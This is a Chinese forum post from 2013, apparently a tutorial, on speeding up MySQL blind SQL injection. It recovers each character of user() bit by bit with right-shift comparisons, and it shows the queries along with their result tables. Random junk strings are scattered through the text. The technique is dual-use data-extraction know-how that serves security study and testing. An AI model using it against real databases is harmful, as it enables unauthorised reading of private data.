找回密码
 立即注册
查看: 2956|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
, E4 {- B* u; k+ G9 W
: t. u6 O5 f. x2 n7 k ; Y# m& C, N+ a8 g
# H+ ^+ m: S2 C) v" B$ j: o
下面将以查询mysql数据库当中user()的第一位为例:
6 v; g2 e  i/ Z& y! ~, X/ {8 ^% a" z7 L$ W3 w
9 P' `* u3 t" g0 u
# f7 o) n& z8 q. x5 q+ [
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
' K$ m8 u8 S1 _) n- B
; s  p+ ]( s) ]: G: J6 }& G  k 5 O6 L5 m0 Q+ t" Z
) T3 Y- C) q5 V( G- y; |2 r, s
首先执行如下sql语句:
) f9 e. g- a/ ^
' v1 Z$ i/ T& D) w8 R2 M+ ]
9 a" o! i( P4 r/ K
. p) S) a. {1 r- qmysql> select (ascii((substr(user(),1,1))) >> 7)=0;1 e6 n! z& h) {3 p5 N' g
5 Q8 l: d2 p* e- h0 ]5 n
) I5 P- k6 {( W) K4 z
9 j, n0 y1 d# l; @
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的/ l( H9 e5 L; e- G) S2 F9 a
7 }4 [; Z! q- G9 q% C: e

+ [' D' A! m- W/ }6 k9 ~8 @+ d7 a3 p; w7 X) B" M# W9 X
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1% G9 o4 c* @. c0 d6 J- S. O
' \% v- g! Y7 y) w0 d: n; M
3 F5 u; @2 J  D+ F& L

) s  b. q+ _! _如果运算结果为1,说明第一位为0,不为15 ]5 |2 F$ F8 W: ?* J
' O9 z* f$ n) T4 S3 N: J* Q

+ U; \7 O+ \) {2 A5 i1 v9 L/ i9 J* i+ g4 z2 }, V0 J
+————————————–+7 T/ P- w4 m1 E/ t9 s
6 s% s+ B0 q" z7 b8 ^
| (ascii((substr(user(),1,1))) >> 7)=0 |  u3 o1 \+ g- s6 j

! O* x% C! R( W2 Z+————————————–+0 i2 S( ~" ]' [) _  c' X
3 K. m' m" `7 l" F1 U
| 1 |" a- |! ?+ K  E4 a2 s

. b  k) E; Y" ?6 ]9 u+————————————–+( J& ?* q; v  g1 H4 \& |

% P, Q# V4 B' }4 E1 row in set (0.00 sec)0 L: U( F: ]; w1 i6 |% A. y( L2 I+ g, G

9 g1 F% C: f9 V4 L( S2 X- G这样我们就确定这个8bit的ascii的第一位为05 q- q* W7 S" i$ B  j
2 [' y; a  V# |; z

( Y* v% N8 \5 H! x) }6 T& z7 @4 r2 h/ j" @; N& X% U7 M
第二次我们来做6次右偏移来确定前两位: r6 @+ N+ n" J* N4 T

0 w$ j- l- ^9 w8 |! N0 a- R / B4 ~) w  B: K+ P7 v
% ?1 y) {1 g  @# I, K: c
前两位可能是01或00,即依然可以与0做比较,
2 }& [4 s' _1 Z7 ^! G% j+ F) a$ ]5 Y6 `: A% }! V7 d" r9 W1 b3 _
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
: m+ H8 v) y9 N7 q3 Z- d- b2 ^6 y7 }* r/ W  b3 z
+————————————–+, P9 `9 @5 ^" m
2 y; c6 C5 o; F6 v0 t9 ^
| (ascii((substr(user(),1,1))) >> 6)=0 |
( V( d# C- _% z) `( G$ G8 c2 w( D1 V( a
+————————————–+5 Q! H' ?# t, H3 K

6 J. m0 v1 {; y" K  h| 0 |
7 J1 ~2 O6 L- q  ]2 {& N
+ E3 Q% k' C* a+ l5 F5 \4 r+————————————–+
3 q; N# i6 Y, Y4 y3 u6 g/ T- u1 w* W, i) h; Q; K. j. j  P+ v
1 row in set (0.00 sec). }- e" h# ^5 U

8 U4 y( d$ F0 g ( {; {+ ~! E+ x( \2 `9 p
" z/ x: e! N8 r) |, j4 _$ F) M
结果为0,即第二位为1
/ V, m0 G" R( ]% c) O+ X; [( a# r( H
$ r/ h- p8 p& X5 ~+ Y, Y
0 \  i# ^' c+ ~( J; ?; o7 i' }4 J; _' t" S, `
开始猜测前三位为010或011  A/ m$ H& a  B+ ?$ W! Q
2 [! L/ p; V5 `. n
: a0 y% s+ u4 y/ Y/ |- `9 \2 a
' F1 Z0 T- z# O4 \
让我们看看010和011的ascii码是多少
% A" b; g. }& j: n( O3 Q, g( D1 P& _, L3 l
3 h) }6 @/ ^1 `& c1 b: m  @
. q4 S& p/ E; M4 }# {* H
分别查询select b’011′ select b’010′4 Q- {- ~( u4 X3 T* [! A" K

+ o7 G7 W2 B/ n% I * }$ q+ ]" B# J0 x" N/ {! e/ D& M

8 W& @/ `; K5 S; U5 `# A" P0 C获得结果 010 = 2 011 = 3
# U1 |6 }" a: x. y" _: f* _) P9 w9 D% h. D3 Y% A

6 V  y( P$ p* c, B! g5 W
" d# r( j9 x6 u* F8 C执行如下sql:
1 b( @3 C! ~3 {# w3 t( F" L. h1 T. V' i3 k* K1 v# A) A
+ S( W0 {* `" Q2 _! @: L+ d
% u1 k/ Y0 b4 i& k  v! w; l  `, T# H/ N
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;& b0 t4 m+ f& [+ ]% ~

; u% _: z+ d! j  f5 f) k; c' D* r+————————————–+
; o6 N! W6 P+ n
1 X: t, l+ w1 U  X| (ascii((substr(user(),1,1))) >> 5)=2 |$ z  T+ W/ D- j% Q. F+ d

7 C; u* o0 K+ Y6 B- e  I+————————————–+
6 C+ T# i* {& L  |5 M" A
- [6 F2 i5 P, D# n| 0 |
; v* `' h/ I$ ~% F, f9 Y' M+ I
4 w: x4 c" }2 X  [, L& \+————————————–+
. Y) s, w/ ~4 }& `
9 L+ C& o- X% Z' V- f: Y2 [即前三位不为010,而是011
  h# s& z! n0 B0 A- w% V# ?! E' R5 p  w8 e5 h
/ g4 r( r0 P8 }1 W
5 K% A- g/ n; b' t1 C
直到获得最后一位
; O$ J4 ^, y: n9 G$ u! z+ I5 `1 R
7 u, {) Z3 p  w
2 |" V- M2 o$ f2 q. c. G
) _) w8 {1 k$ g3 {2 a' }/ P# ~最终结果为:011100104 W+ a* J* A/ B# A# R7 |5 v% s7 f

, G; @2 ?7 }4 b# |
2 K0 C  A; B! _/ X0 ]2 [- o6 j) i. x5 U& n- T8 _. J. {% c% x
转换一下:3 u; K2 G6 H& \  w3 L/ Z
! l* r* _) E$ W

; {/ a; z7 S' J; O/ u  a
7 [- I  C" M. Z+ uselect b’01110010′
8 j  e+ ]& r( G; _, g3 Z
. V+ @, h+ a- W4 w" }6 A / P/ Y) m# f) v8 a6 @

3 h- W$ |% B/ G+ C2 M' e查询结果
0 Q$ v& s3 l2 n9 Q: j- i* P. M8 j+ d
$ C0 ?( @6 a+ L) V4 o  p$ X  u; O

4 D3 ?: P- ~# m7 V" [: n+————-+! E; C2 u" @8 q; O, M4 m

3 D, n1 h! y- Y| b’01110010′ |
/ D2 V; f& x" t+ c& R. m
( y+ E( k. Q' ]8 Y) Z, g+————-+, A" M+ L! N# i0 Q" R' Y
6 K" r5 L6 r; x! Z
| r |
0 s2 Z7 Z  H8 W- S% @, v- a- [# o0 p0 ?9 M0 `' z9 i
+————-+! s: w( [0 C0 E, t' Y

* B! G& Y* z* O  R7 q( z1 row in set (0.00 sec)+ G- w' Q' a% I3 d. C/ S; J
, _* x# Q. n' m9 _$ N

+ w* n' G4 F+ W6 |- a9 g' J
/ w  A3 J+ V2 ^$ ^这样我们就获得了user()的第一位.其它位依此类推
  D5 p# k6 f5 w: c' a/ w+ _6 h- U1 i/ _* h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表